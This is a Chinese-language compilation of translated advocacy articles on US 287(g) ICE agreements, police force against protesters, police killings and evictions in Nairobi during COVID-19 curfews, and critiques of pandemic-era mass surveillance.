在过去的十三年里，在弗吉尼亚州威廉王子县被逮捕的移民，除了要担心保释金之外，还得担心其他问题。总是有这样的可能性，即使拿出足够的钱来确保他们的释放，他们仍然会被关起来，以便警长办公室可以把他们交给移民和海关执法局（ICE）。监狱委员会与联邦移民当局的合作，长期以来一直是威廉王子县快速增长的移民社区的争议点—— 就在上个月，经过十年的公众抗议，官员们终于决定结束该县与ICE的合同。

但是，在作出这一决定的前一天，就在一千三百英里之外，德克萨斯州塔兰特县的委员们投票决定续签该县与ICE的合同，尽管有数十名居民反对，他们冒着冠状病毒疫情的风险亲自出面作证，反对延长合同。

“我的学生不应该生活在恐惧中，家庭将被拆散，他们将不得不自力更生，只因为他们的父母或监护人因为轻微的交通违规而被警察拦下，然后导致他们被逮捕”，Felicia Hernandez 告诉五位委员，他是一位老师。然而这些委员中没有足够的人被动摇。在3–2的投票中，该小组最终决定延长塔兰特县与ICE的三年期协议。公众压力可能削弱了该机构在弗吉尼亚州郊区的影响力，但这不足以改变沃斯堡的情况。

在过去的四年里，关于警察与ICE合作的类似辩论在全国各地上演。活动家说，这些被称为287(g)协议的合作合同，通过递解出境使家庭分离，并削弱了移民社区对执法的信任。同时，地方官员急于将所有未经许可的移民怀疑为顽固的罪犯，声称该计划“能保证他们的社区安全”。

有时，是否与ICE合作的决定权落在一个人身上：县警长。2018年，北卡罗来纳州的选民选出了一批反叛的黑人警长，他们在竞选中表示要减少与ICE的合作。北卡罗来纳州的一些县结束了他们的287(g)协议，但这不一有效。德州罗克沃尔县在同年签订了新的287(g)协议。“287(g)计划是一种重要的合作关系”，ICE的一位官员当时说，“这有助于我们识别县监狱里的外国人，而这些人我们以前无法识别”。

移民法是联邦法律。有一套单一的法律条款—— 庞大而不透明——来规范移民。移民法也是民事法律。移民可能会因为未经授权入境或使用假的社会安全号码工作而面临刑事指控，但递解出境案件并不归结为无罪与有罪的问题：移民可以被移民法官认定有罪而免于被递解出境，也可以洗脱所有罪名结果却被递解出境。但实际上，不论移民在哪里以及是否接触到刑事处罚系统，都会影响到他们是否能够留在美国或者被驱逐出境。而虽然是移民法官最终决定移民在遣返程序中的命运，但像罗克沃尔县警长办公室这样的地方执法部门，往往会在第一时间将移民置于这些程序中。

根据287(g)条规定，受过专门训练的警长可以询问任何在罗克沃尔县监狱登记的人是否是美国公民或是否有在美国的许可；警长可以向移民和海关执法局标记潜在的非公民，移民和海关执法局可以反过来要求监狱扣留他们，即使他们已经交了保释金。(这些请求被称为 “ICE拘留令”)。ICE还向不参加287(g)的地方警长办公室和警察部门发出拘留令请求，许多部门还是遵守了，该机构已经采取了公开羞辱不履行拘留令请求的司法管辖区。在移民局及其盟友看来，拒绝扣留人是在助长强奸和谋杀等犯罪行为 —— 虽然一些联邦法官指出，这种做法违反了第四修正案。

但实际上，ICE试图通过拘留令逮捕的大多数人都是因为轻微的违法行为而入狱的。例如，在佐治亚州和马里兰州，当地警察和警长经常以违反交通规则为由拦下移民，并以无证驾驶为由逮捕他们，移民政策研究所2011年的一份报告指出。

根据雪城大学研究人员分析的联邦数据，在2011年10月至2013年1月期间签发的拘留证上发现，最常见的定罪是酒后驾驶。在所有的拘留令中，几乎有一半是为完全没有定罪记录的人签发的。一旦移民因任何原因被刑事拘留，他们最终就会被ICE的雷达发现。

根据美国移民委员会的数据，截至2020年6月，有近百个司法管辖区参与了287（g）。其中65个通过其2019年启动的 Warrant Service Officer 计划与ICE合作，该计划赋予地方执法办公室 “进行移民逮捕的灵活性”。以前的287(g)计划被称为 “工作队” 模式，让当地警察在现场进行移民逮捕；由于对种族貌相定罪的担忧，该计划在2012年被逐步取消。

最终，287(g)赋予了每个县的警长将其副手变成ICE靴子的权力。但这并不意味着选择退出该计划的辖区内的移民可以免受驱逐。

特朗普上任第一周就恢复了布什时期的维稳社区计划，该计划会自动

将国内的每一次逮捕数据都发送给联邦移民当局。(奥巴马政府既扩大了这一计划，又最终终止了这一计划)。

和287(g)一样，维稳社区也将因轻罪被捕的移民置于ICE的雷达上。每当一个非公民因任何原因被捕，无论是跳地铁旋转门还是在公共场所吸食大麻，移民局都能找到他们 —— 即使他们住在庇护城市，即使他们以前从未被捕，即使他们最终被洗脱了所有罪名。

特别是对于无证移民来说，任何刑事指控，无论多么平凡，都可能引发驱逐。如果当地官员拒绝为ICE拘留移民，该机构就会投入大量资源来追踪移民，利用监控技术和社交媒体间谍活动相结合来寻找目标。

ICE方面可能需要更多的工作，但一旦该机构掌握了某人的姓名、指纹和地址，逮捕一个无证移民就是在正确的时间在正确的地点抓住他们。

移民局可能不再能依靠治安官的流动团伙来逮捕那些仅仅因为看起来像移民的人—— 不管这意味着什么 —— 但它也没有真正需要这样做。监狱模式和已经废弃的特遣队模式一样有效。它主要是在人们看不见的地方发挥作用，并困住了一群已经被封锁起来的底层人：那些有刑事指控的人。

对于黑人移民来说，风险尤其大，对于他们来说，种族主义的治安做法意味着，即使是与警察最平淡的互动，也不仅会导致被驱逐出境，还会导致死亡。

根据黑人公正移民联盟和纽约大学法学院移民权利诊所2016年的一份报告，黑人移民约占非公民总人口的5.4%，但因刑事原因面临被驱逐出境的移民中，超过五分之一都是黑人。

一旦移民被控犯罪，无论情况如何，也无论他们最终是否被定罪，ICE及其盟友都可以宣称他们在美国的存在是对公共安全的“威胁”。在政府眼里，每一个移民都已经是一个犯罪的外国人，或者至少是一个等待实施犯罪行为的普通外国人。即使是奥巴马，他驱逐的移民比他的任何一位前任都多，他也不忘暗示，虽然有一些好的移民，但也有很多坏的移民需要根除。“罪犯，不是家庭”，他在2014年的一次演讲中说，宣布ICE新的执法重点。“罪犯，不是孩子。黑帮成员，不是努力养活孩子的妈妈。我们会优先处理，就像执法部门每天做的那样。”

而这些区别对佐治亚州的警长代表来说意义不大，他们以交通违规为由将移民拦下，却以无证驾驶为由逮捕他们。现在，它们的意义就更小了，因为每个移民后背上都贴着个靶子。

移民执法，尤其是特朗普政府下的移民执法，以奇观著称：穆斯林禁令下机场的混乱，边境的家庭分离危机，ICE在密西西比州养鸡厂的突袭，让几十个孩子在开学时孤身一人。但 **287(g)** 的成功在于它能在人们的视线之外行动。把突袭掩饰成了文书工作。

——

近期卫报分析的新数据显示，美国警方对左翼抗议者使用武力的可能性比对右翼抗议者使用武力的可能性大**3.5**倍，这印证了左翼人士多次提出的意见。

该数据基于去年4月以来的13000多场抗议活动，由研究人员为美国危机监测项目收集。数据中的 “武力” 包括使用催泪瓦斯和橡皮子弹等战术。

卫报的分析显示，警方在左翼抗议活动中使用武力的比例为4.7%，而在右翼抗议活动中使用武力的比例为1.4% —— 左翼抗议活动511次，右翼33次。尤其是，当你看到左翼的抗议活动完全不涉及抢劫或破坏时，这种差距就会变得非常之大。

报告还发现，警察干预或驱散左翼抗议活动的可能性比右翼抗议活动高一倍以上，使用逮捕等手段。FiveThirtyEight 的类似分析也有同样的发现。内罗毕基贝拉贫民窟附近的壁画，画着乔治·弗洛伊德

穷人的死刑：肯尼亚

「图」

「图」

> “上帝不会为你而战，直到你为自己而战”

By April Zhu

6月1日晚，示威者在邦德尼 (Bondeni) 走上街头，这里是内罗毕非正式定居点之一玛萨瑞的一个分区，抗议 James Mureithi Njeru 被杀害事件，他是一个无家可归的人，许多人称他为 “Vaite” 。**Mureithi** 的尸体在他经常睡觉的地方被发现；抗议者说他是被为遏制 **Covid-19**

传播而实施宵禁的警察所杀害的。

人们涌上街头，大声呼喊，并点燃轮胎。玛萨瑞的示威活动往往从邦德尼开始；这里的柏油路面永久地被熏黑了，是烧焦了的橡胶痕迹。

肯尼亚已经报告了325人死于 Covid-19，但是像黄昏到黎明的宵禁这样的措施 —— 更确切地说，是警方执行宵禁时的致命暴力—— 使该国的大流行病应对措施成为世界上最暴力的措施之一。独立警务监督局（IPOA）是一个调查警察不当行为的民间组织，该组织报告说，自宵禁开始以来，警察已经杀死了**15**人，打伤了**31**人。

然而，这一官方统计数字肯定是低估了的。首先，它不包括一些因警察恐怖行为间接导致的死亡。基苏木市的木匠 Maurice Ochieng 因为没有戴口罩而遭到警察的毒打，五天后，他倒地身亡。Christine Aoko 在宵禁后躲避警察时，滑入雨中的玛萨瑞河中被淹死。两人都没有被收集为数据。宵禁后因害怕去医院而在家中分娩导致并发症死亡的妇女和婴儿数量也在激增。

在6月初的那个夜晚，邦德尼的示威者就像世界各地在乔治·弗洛伊德被谋杀后走上街头的示威者一样，他们不是在抗议一个人的被杀，而是在抗议整个暴力政权。在社交媒体上发布的一段视频中，在一片谩骂声中，你能听到反复的督促：“Angalia” —— 看。

——

肯尼亚警察暴行的根源可以追溯到殖民时代。准军事行政警察是肯尼亚国家警察署三个部门之一，成立于1958年，当时是英国政府宣布紧急状态的最后一年，目的是暴力镇压反殖民主义的茂茂起义。独立后的肯尼亚政府在几乎没有进行任何改革的情况下接管了这个部门，但它今天仍然存在，其酷刑和恐怖的殖民职能在很大程度上没有得到任何改变。

【注：茅茅起义，英国称为“肯尼亚紧急状态、茅茅叛乱”，在英国殖民政府时期，肯尼亚于1956年至1960年间发生的军事冲突。反殖民主义团体成员多是基库尤人。与之对抗的是英军与当地亲英武装。 这场起义没有得到肯亚人民广泛的支持，却遭到了英军的强力镇压。】

在20世纪初，城市地区的野蛮治安与有组织犯罪同步发展。Mungiki 是来自肯尼亚中部的一个基库尤族宗教运动，1990年代进入内罗毕，取得了对该市某些地区的领土和经济控制权，并有效地将自己变成了一个犯罪治安团体。为了应对公众对 Mungiki 活动的焦虑，警察部队

将“敢死队”等残酷的法外手段制度化，纳入正式的警务结构。虽然这些手段的目的是要在司法系统之外消灭高知名度的犯罪头目，但是，它们过去和现在每年都要对几十名甚至几百名年轻人的处决负责。

【注：Mungiki 是肯尼亚一个被禁止的民族组织。该名称在基库尤语中的意思是“一个统一的人民”或“众多”。】

2009年，联合国特别报告员菲利普·奥尔斯顿进行了一次特别调查，这个问题引起了国际社会的注意。他的结论是，肯尼亚警察“经常处决个人，而且普遍存在有罪不罚的现象”。他写道，如果没有问责机制，这种“警察随意杀人”的状况将继续有增无减。

在奥尔斯通的报告发表后的十多年里，该国一直在尝试改革。2011–2012年间，议会通过了一系列改革法案，改变了执法部门的内部指挥结构，并将两个警察单位合并，将“肯尼亚警察部队”变成了“肯尼亚警察署”。新立法还成立了两个处理警察不当行为的监管机构，包括IPOA。但是，自2012年成立以来，尽管**IPOA**开展了一千五百多起调查，但仅对七名警察定罪。据肯尼亚“失踪之声”组织 —— 一个追踪全国各地法外处决和强迫失踪事件的人权组织联盟 —— 报告，仅今年就有**100**人被警察杀害或强迫失踪。

在乔治·弗洛伊德被谋杀后发生的起义中，全球的注意力都转向了压迫性的警务工作。这可能是肯尼亚打击警察暴行的少数进展之一。

6月4日，警察邓肯·恩迪马·恩迪瓦（Duncan Ndiema Ndiwa）被控谋杀，因为他开枪打死了13岁的亚辛·侯赛因·莫约（Yassin Hussein Moyo），当时这个孩子正站在马塔雷市内的一个区 Kiamaiko 家中的阳台上。对于一个通常需要数年时间才能将案件提交到法院的权利组织来说，这种前所未有的权宜结果值得谨慎乐观。

然而，更大的趋势仍然表明，政府倾向于通过惩罚性措施来解决社会问题。在 Covid-19 到达肯尼亚的几天后，乌胡鲁·肯雅塔总统组建了内罗毕都市服务局，这是一个由军队领导的单位，从县政府手中接管了关键权力和资源。6月18日，高等法院认为这一行动是非法的，尽管没有发生什么变化）。

根据城市人种学者 Wangui Kimari 的说法，其最初的行动之一是强制驱逐 Kariobangi 下水道农民贫民窟中的七千户家庭，该贫民窟是另一个距离玛萨瑞仅几公里的非正式定居点，由内罗毕市供水和下水道公司负责。

居民们出示了他们的地契，证明他们一直在为这块土地缴税，并出示了环境和土地法院要求停止驱逐的法院命令。但是，居民们说，**NCWSC** 的代表撕毁了法院的命令，第二天推土机就到了，强行拆毁房屋。居民们无家可归，许多人刚刚能掏出足够支付当月房租的钱 —— 而这一切都发生在一场大流行病之中。

Kimari 认为，Kariobangi 的驱逐和警察的暴行是同一问题的两种表现形式。在最近一篇题为 “非法的内罗毕与大流行病” 的文章中，她分析了该市下层阶级、不受欢迎的大多数人 —— 超过一半的内罗毕人口生活在非正规住区 —— 是如何受到 “忽视和武力的双重暴力”。

一方面，生活在被国家有意开发不足的地方的人们被剥夺了《宪法》所规定的最基本的权利 —— 水、卫生、住房、基本安全 —— 从而 “落在” 法律规定之外。其结果是一个恶性循环，人们生活的恶臭和有毒的环境被投射到他们身上，形成了关于城市贫民的恶性叙事，这个叙事认为穷人是可抛弃的、有罪的，也许最重要的是，由于他们生活在不稳定的条件下，他们还够不上被视为 “公民”。低端人口。

恰恰是这种逻辑的驱使，让这些穷人被系统性地犯罪化。Kimari在她的论文中总结道：“那些没有水用的人，就是那些被警察杀害的人”。

这是许多富裕的肯尼亚人已经接受的一种说法；除了一些明显的例外，法外杀戮甚至都很难成为该国的头条新闻。

当使用 “犯罪嫌疑人” 这一说法时，或在尸体旁放置武器以栽赃死者时，这个社会更容易转身离开，这就是警察的常见做法。

这些对城市贫民的偏见也是理解为什么肯尼亚的法外杀戮持续存在的关键，尽管一再尝试改革，往往外国政府和多边组织投入了数百万美元。据 Kimari 说，像玛萨瑞这样的地方被视为死胡同，是不受欢迎的 “反城市”，这些穷人定居点被认为 “导致了” 内罗毕无法成为其富裕街区所指向的国际大都市。

这就是现代内罗毕的悖论。每一次推动未来主义的城市化，都会伴随着对城市贫民的同等和相反的暴力力量，这种暴力根本无法消除，只能疲惫地抵挡。这个问题有着清晰的谱系：如果你按警察暴力来绘制内罗毕地图，你会看到它的旧殖民边界的形状。

由于现代内罗毕起源于20世纪初，是英国殖民铁路项目的一个仓库，它一直在事实上的种族隔离制度下组织起来。在殖民主义管理下，该市东半部排水不畅、地势低洼的洪泛区 (包括玛萨瑞和卡里奥班吉)，

通过流动和种族分区法，被降级给非洲人，后来又被降级给污水处理厂等“公共工程”。高地是白人的地盘。作为铁路劳工被带入肯尼亚的印第安人则在两者之间起到了一点缓冲作用。

独立后，该城市从种族隔离顺利过渡到阶级隔离。而内罗毕的不良地带的治理模式，并没有什么变化。

——

玛萨瑞是一条河谷。但如果你不知道在它的核心有一个黑暗的、呻吟的水体，走过它就会感觉像一个漫长而曲折的下坡。在这里，一切都像是一个长长的呼气，一个大大的废气云：垃圾被烧成有害气体，腐臭的污水从更富裕的上游流入下河，电线事故引发的火灾，抗议活动的火焰，以烟雾的形式发出政治疲惫的信号。

玛萨瑞的大部分土地都是公共土地，实际上，这只意味着土地可以被抢夺 —— 而那些蹲在土地上的人也可以被驱逐 —— 没有任何后果。水电等基本公用设施在该市其他地方是公开提供的，但在这里却被垄断联盟所控制，使内罗毕最贫穷的人们不得不为生存而支付痛苦的费用：一罐水10先令，使用公共厕所5先令，乘坐公共汽车30先令。

但是，这个河谷也有悠久的抵抗历史。玛萨瑞是茂茂起义的内罗毕总部；在某些方面，它仍然是一个解放前线。

玛萨瑞产生了许多该国的一线人权维护者。其中一个团体是玛萨瑞社会正义中心（MSJC），这是一个由社区组织者组成的联盟，他们记录了结构性暴力和警察的暴行，特别是法外处决。

当 **MSJC** 在**2015**年首次开始举办社区对话时，人们大多害怕公开发言，不仅怀疑国家可以追踪抓捕异议，而且害怕被寡头公司报复。“让这孩子走吧”，MSJC 成员 Brian Otieno 记得一位警察杀人案受害者的母亲告诉他，“上帝会为我而战”。

但 MSJC 一直在坚持。“上帝不会为你而战，直到你为自己而战”，Otieno 说。“我们必须站起来。我们被整个体制压迫，只因为我们如此沉默。”(最近，MSJC 一直在收集有关 Mureithi 被杀的证据)

当然，随着时间的推移，公众的话语权也发生了变化。“现在人们知道他们可以在哪里报告当局的恶行”，Kimari 告诉我。“他们知道他们有某种形式的补救措施，并且他们会不顾一切地主张它”。

2016年，MSJC 发布了一份具有里程碑意义的报告，借鉴了基层活动

家的仔细事实调查，整理了多年来玛萨瑞法外处决的证据。题为“下一个是谁？”的报告毫无疑问地证明，作为连环杀手的警察受到了系统性的保护。

Ngũgĩ wa Thiong’o 的小说《Matigari》讲述了 Matigari ma Njirũngũ 的故事，他是一个自由战士，在杀死白人帝国主义者后多年，他从藏身的森林中走出来时，却发现了另一个压迫者阶级——这次是肯尼亚资本家—— 在剥削人民。

Otieno 为自己和他的人权维护者伙伴们申请了 Matigari 的称号，几乎所有的人都经常因为捍卫人权的工作而被警察逮捕、威胁和驱赶躲藏。正是这些 “Matigari” 在肯尼亚推动了警察暴行问题的解决。〇

原文

冠状病毒危机究竟是否能够结束？：威权主义的权衡 - iyouport

COVID-19(84)你应该了解的现实公私监控伙伴关系社会反抗和思考

【 2020年9月11日存档】我们曾经做出过同样的错误抉择，在同样的威权主义诱骗之下，恶果至今顶在我们头上。我们从中学到什么教训了吗？..... 还是，准备再错一次？

---

from Irena Buzarewicz

1918年的流感危机与我们现在所经历的疫情具有明显的相似性 —— 由病毒爆发引起的两次全球性大流行病，之间相距大约100年。

但是许多人还牢记着最近的危机：2001年9月11日的袭击和反恐国家的建立。

就像用 “后 **9/11**” 用来标记世界何时变成了另一个（更糟糕的）地方那样，人们现在也将 “后**2020**” 或 “后**Covid**” 作为对病毒危机的简短描述，这场危机引发了巨大的政治和经济反响。

- 不要错过《口罩的政治》

2001年底的气氛在很大程度上已经被遗忘了，在某些地方被所谓的团结时刻的怀旧之情或自那时以来发生的许多历史而扭曲。

在 “9–11 “事件后的恐慌高峰期，人们害怕离开自己的房子。大规模的集会会令人感觉非常危险。每次去商场或体育场的时候，都会有恐惧感。简单说任何一种聚集都被认为是危险的 —— 万一再发生一次袭击怎么办？

然后，炭疽病的威胁就来了。一些人把自己的家变成了掩体，以保护自己免受生物战的威胁，储备物资，并将自己的家与外界隔绝，除了从电视上不断传来的恐惧和煽动性的宣传，或者，对于更多的人来说，是在互联网论坛上，人们在那里分享生存技巧和一些 “真相”。

许多政治家和公民都希望看到当局对袭击事件采取戏剧性的行动以回应。一个「不寻常」的事件要求采取「更不寻常」的应对措施。

一个星期后，美国国会以近乎全票通过了“授权使用军事力量” 决议，授权行政部门全权负责发动全球反恐战争。

由此引发的战争至今仍在肆虐。

然后，再一个月后，又以近乎完全一致的方式通过了臭名昭著的《爱国者法案》，使政府有能力对任何人进行大规模的监视和无证搜查。

现在，关于如何应对 Covid-19 危机的 **类似** 想法正在出现。

然而，当年的批评家已经变成了新的支持者，他们转而支持对全民的侵入性监视方法，他们认为 “特殊时期需要立即采取行动”。各国政府长期以来一直在建立这些监视能力。

如今人们所熟悉的与国家安全局、中央情报局和联邦调查局等间谍机构的间谍活动紧密联系的监视和数据收集技术，其根源在于历史上管理社会秩序的更为平凡的形式。例如，可以将历史追溯到人口普查等人口记录的创建或文件柜等信息技术的发明。

正如 James C. Scott 在他的的经典著作《Seeing Like a State》中所描述的那样，设计一种使社会清晰易懂的方法以便通过合理的计划更好地管理和标准化社会，已成为现代政府的主要指示。现在，[病毒让] 它们具有不可抗拒的理由 —— 迫切的需要 —— 进一步部署和扩展。

Martin French 和 Torin Monahan 在《监视与社会》杂志的一篇社论中指出，即使是对监视行为持批评立场的人也在这次大流行病之后重新考虑了他们的立场，⚠ 他们说：“中国政府似乎能够通过使用一些同样的以监视为基础的控制和遏制技术来阻止病毒的传播，这一事实引起了西方国家的赞扬，这些国家以前可能会谴责这些策略是对人权的侵犯 ……

- 非常推荐《他们将中国视为榜样：泄露文件揭示政府间谍机构如何利用冠状病毒推动大规模监视的内幕》

因此，长期从事隐私活动的活动家 Maciej Cegłowski 说了一句话：“我们需要一个大规模的监控计划。” 他的理由很实际：“现在，房子着火了。我们需要把水倒在上面”。毕竟，“那些可怕的监控基础设施” 已经存在，而且 “运转良好”，为什么不利用它来实际拯救人类呢？

- 这不是美国或中国的独特想法，而是全球 …… 都是如此。长篇报告《#COVID-19(84)冠状病毒如何让整个地球变成了反乌托邦地狱 》

然而，这三个字 —— good working order —— 每一个字都包含了太多的含义。

这三个字一起提出的问题是：接受这种监视基础设施的存在究竟意味着什么？更不用说支持使用这种基础设施了，即使在紧急情况下也是如此。

但基本的功利主义计算似乎要求人们将任何更广泛的背景或关注的问题抽象化为不相关的东西；所有的历史都在过去，所有的后果都只在因果链的几个环节上延伸。*from Irena Buzarewicz*

一些直接和明确的监视形式已经实施，以执行社会疏离协议。无人机在 **Messina, Madrid,** 和 **Manhattan**等城市的街道上空盘旋，通过扬声器发出命令，同时监视不服从禁闭指令的任何人。

在悉尼和北京的国际旅客被送进空荡荡的酒店，接受14天的强制隔离，而在香港和台湾的旅客则被要求戴上GPS手环或通过 WhatsApp 记录自己的位置，以确保自己待在家里。

在印度的卡纳塔克邦，被检疫者同样必须每隔半小时就必须在手机APP上上传一张带有地理标记的自拍。如果错过一次打卡，警察就会立即来敲门。

而在新西兰，即使你只是自我隔离，警察只要怀疑有人聚集，就有权力直接闯进你家里，而不需要任何搜查令。

……

现在针对 Covid-19 的其他监视技术也在利用数据和分析。3月23日，纽约时报报道称，许多国家都在“部署数字监控工具，作为实施社会控制的一种手段，甚至将间谍机构的技术直接转向针对本国平民。”

在IBM、微软、Facebook、谷歌和亚马逊等公司的帮助下，这类间谍工具包括所谓的“联系人追踪”，或使用关于人们的位置和互动的追踪数据，这些数据是由**CCTV**监视摄像机录像、电话数据、信用卡购物、社交媒体帖子等多个监视网络数据源拼凑而成的。韩国和新加坡已经走在了这一技术的全球前列，为其他国家政府的应对措施和建议*提供了启发*。

这些监视工具本身并不新鲜，只是它们的应用方式不同。

所谓的联系人追踪其实就是长期以来数据分析供应商和国防承包商 Palantir 的 “社交网络分析” 技术。

Palantir 最初是为寻找恐怖分子和预测袭击事件而创建的，现在它的监视方法正被转到针对普通公民的身上；正在被用于编制个人档案，绘制社会关系图谱，揭示行为模式。

美国疾病控制中心和英国国家卫生局等组织都已经与 Palantir 合作，分析公共卫生数据并建立病毒传播模型。

同时，Palantir 公司正在帮助美国海岸警卫队建立 “准备就绪系统”。该公司提供了一份 “应对 Covid-19” 的方式清单，其中包括协助一家 “大型英澳矿业公司” 进行供应链管理，以及绘制 “大型石油和天然气公司员工的位置图”。

Palantir 公司一直对其合作对象严格保密，所以我们只能假设这只是他们的技术在 **Covid-19** 的应对措施中应用得有多广泛的小小一瞥。

现在，这场大流行病很可能已经为 Palantir 和其他大型科技公司提供了一个机会，为所谓的国家安全和公共卫生问题争论其工具的更广泛的应用，声称打击犯罪和传染病。

那些从事销售所谓的 “智能” 解决方案以解决世界问题的企业，在混淆多种事物之间的差异方面有其明确的既得利益。他们提供的是他们声称的通用解决方案 —— 一种似乎能够处理任何数据并优化所需结果的方法，无论其来源或内容如何，因此任何问题都可以被重新设计以适应。

只需调整参数，将不同的数据塞进分析引擎中，就会出现 “可操作的情报”。

这种事并不是第一次发生 —— 只要考虑到整个 “智能城市” 行业就可以了 —— 当然，也不会是最后一次。

- 对此的分析详见 《被俘虏的城市：为什么人们会接受可怕的军统？》这一分析很重要

from Irena Buzarewicz

与此同时，中国各地城市的人们现在需要使用一个手机APP，该APP

会给每个人分配一个颜色编码以显示被认为的传染风险类别，从而决定他们是否必须进入隔离区或是否能被允许乘坐公共交通工具。

正如这种打分系统通常的使用情况那样，并没有人给你充分解释其打分决定究竟是特么如何做出的，老百姓也没有质疑的正当程序。

考虑到它是由蚂蚁金服开发的，这并不奇怪，因为蚂蚁金融也是中国最主要的臭名昭著的社会信用评分系统之一 —— 它的背后也是一家寡头公司，在中国能直接控制整个社会的寡头。

当一支由人类执法者组成的军队在菜市场和地铁入口处盯着居民扫描二维码时，人们正在被另一个完全神秘的专有算法所统治，任由其摆布。

☞ 这又是一个为不同目的而设计的系统被重新改造和扩大使用的案例，同时，也进一步让寡头企业和专制政府的权力紧密结合起来。

- 列表 -1 “算法专制”

无论是社会网络分析还是社会信用评分，我们都应该预料到，这些依赖固有偏见的数据的不透明过程会导致严重的歧视和不负责任的结果。

这是一系列熟悉的事件，正如很多人之前早已指出的那样，一而再、再而三地上演，原因很简单，数据是有观点的；数据蕴含着人类的选择，是社会过程的产物。但这里的不同之处在于，政府和企业现在拥有一个目的，它可以证明任何手段都是合理的。他们可以把一切都描绘成“对公众的危险”，而不是像以前那样通过暗示某种模糊不清的所谓国家安全概念，也不是通过重复空洞的警告吓唬你“犯罪率上升”，而是，通过将疾病当作借口合理化他们想做的任何事。

即使以实用主义者的标准来看，采用这些侵入性的监视计划来控制疫情，充其量也只是一场赌博。

法律学者 Susan Landau 在这里提出了一个有力的论据，即：对手机的位置监控由于技术上的限制，并不能被用于追踪联系人。同样，隐私研究者 Ashkan Soltani 也对苹果和谷歌之间的一项重大合作提出了强烈的批评：苹果和谷歌将创建一个“基于蓝牙的联系人追踪平台”，该平台将在iOS和 Android 手机之间实现互操作。 Soltani 指出，这一举措的数据和能力对于实际感染率来说只是“微薄的代理”，只是分散了人们对更广泛测试的注意力。

对其他科技解决方案也应该投去同样的怀疑目光，不管是用于所谓的国家安全、公共安全还是公共卫生，其他的科技解决方案往往都是依靠同样的理由，政府说：”相信我”。

公民为什么要去相信政府？几乎没有任何证据可以表明为反恐开发的数字监控工具能阻止攻击（尽管有些信息可能是保密的），而且，对这些监视工具在所谓的预测性警务方面（少数派报告）的有效性的独立研究充其量也没有定论。

设计和部署这些技术的人应该承担起证明这次会有所不同的责任。但是相反，公众将是唯一承担这些缺陷、副作用和外部因素的后果的人。

- 《可怕的“连点成线” 和互联网审查—— 监视之恶（四）“反恐”歧途》
- 《为什么要求解散国安局？—— 监视之恶（六）立法监管不可能，应该怎么办（下）》

“如果提出的 ‘解决方案’ 没有效果，就没有理由考虑这个方案。” Landau 写道。但是，政治经济学的迫切性并不这么认为。

效能的挑战实际上并不能支配政策。行使权力不仅仅是为有效地实现特定的结果或做什么 “有效” 的事 —— 它是关于维护某些利益高于其他利益、并重新确定某些人的价值高于其他人。

- 这就是《动物农场的世界》

我们只需要看看目前医疗资源的分配方式和易受病毒影响的人口统计就可以看出这一点。这些问题已经超出了侵犯公民自由的范围，超出了被视为抽象伤害的侵入性数据收集的范围，超出了公共健康与个人隐私之间的权衡，这一点令人叹为观止。

相反，这些问题反映了治理方式和社会组织方式中的结构性偏差——以及为了谁的利益而服务。

在隐私与公共卫生方面对流行病发表“批判性”观点这是一个错误的二分法，这种错误二分法在9/11之后被反复揭穿，当时流行病的位置上是所谓的 “国家安全”。

十年前，法律学者 Daniel Solove 在《没什么可隐瞒的》一书中，整理了类似 “在危机时刻，我们必须用隐私和自由来换取更大的安全” 的各种谬论，并系统性地驳斥了每一个论点。但是，“权衡” 的立场不

仅是老套的，而且是危险的。它的真正威力不在于说服人们放弃自由以换取虚无缥缈的安全，而在于，它将危机的应对措施设计成一种错误的两难选择，这其中人们并没有合理的选择，只能做出牺牲来换取解决方案。

如果你给人们提供了恢复正常的“机会”，他们会在你提出条件之前就答应放弃几乎一切。我们现在再次看到这种默许，人们会被这种默许冲昏头脑，就像以前曾经不断发生过的那样。*from Irena Buzarewicz*

专制主义 —— 出于某种“正确”的理由，只是在这个特定的场合 —— 开始看起来是可以容忍的，甚至是好的，因为它看起来是唯一的选择。政治的马蹄铁理论开始看起来就像我们度过这场危机所需要的幸运符。

没关系，我告诉自己。我们可以加入夕阳条款，在危机过后逐步退出并“优雅地拆除”这些项目，就像这里的学者们提出的那样，关注如何限制政府的过度扩张。不，更好的是，它们将是自我毁灭条款，保证这些项目会被立即销毁，没有任何延长的机会。

但我们为什么要相信这一次会不一样呢？我们曾经来过这里。我们被迫去适应一场永无止境的全球反恐战争。尽管我们多次试图废除它，但“军事力量授权法”如今仍然存在，总统的战争权力只会越来越大。

尽管有太多关于大规模监控计划的重大揭露和法庭案件，但这些技术已经涓涓细流，因为现在的城市警察部门在所谓反恐的任务下运作。维稳鹰派可能会说，这是因为恐怖主义仍然存在，所以这些项目仍然有目的。正是如此 —— 这种威胁在设计上永远不会被打败，它不断地根据最广泛的参数来重新定义。

- 斯诺登震惊世界的揭露至今已经6年，却未能实质上改变任何灾难，为什么《超越透明度革命》

完全不难想象，这种以病毒为借口的监控会有怎样的未来。现在已经可以预见，这种新型冠状病毒很可能永远不会消失。这种流行病的长尾可能会持续数年之久，即便如此，也会像流感一样，定期爆发。

正如白宫的顶级免疫学家 Anthony Fauci 所说，“如果你想回去冠状病毒前的状态，那可能永远不会发生，事实上，威胁就在那里。”

当然，随着民众建立起抵抗力，影响会有所减轻，但我们难道不应该

密切关注感染的蔓延，以防万一吗？—— 当权者很快就会这样告诉你，他们会告诉你：“我们必须利用一切可用的措施—— 并着手批准更多的【侵扰性和泛滥性】监控计划。毕竟，预防是最好的良药”。

而在这里，我们正处于一场新的全球战争中，对抗另一个全然无面目的敌人，至少这是许多指挥或影响应对工作的人给出的框架。“面对不可预见的情况，在这场危机中，改变心态就像在战争时期一样必要”，欧洲央行前行长在《金融时报》上说，我们“必须相应地动员起来”。

自诩为“战时总统”的特朗普已经完全陷入了这一框框。在最近的新闻发布会上，他介绍了霍尼韦尔和宝洁公司等大公司的“伟大领袖”，他赞扬他们在抗击病毒的斗争中尽到了“爱国责任”。现在，各国通过卫生危机这个媒介，以国家安全 —— 我是说公共卫生的名义 —— 争夺医疗资源、封锁国界，发动代理战，彼此激烈竞争。

许多技术上根本不属于战争的事，现在几乎是出于条件反射全部被称为战争，无论是反恐战争、毒品战争、还是冠状病毒战争 …… 这些人理解任何类型的危机的主要方式就是长期的战备动员和悲剧。

如果任由短期的“解决方案”被有增无减地应用，其长期后果将意味着，即使疫情缓解，危机也永远不会消失。这些侵犯性的监控方案仍将持续存在，而且，以预防的名义，它们将永远不会被关闭。

向大流行病后世界的过渡并不是在未来某个不确定的时间点到来；相反，它已经在全球范围内以不均衡的和多变的方式发生了，以反映和扭曲现有环境的方式进行着：

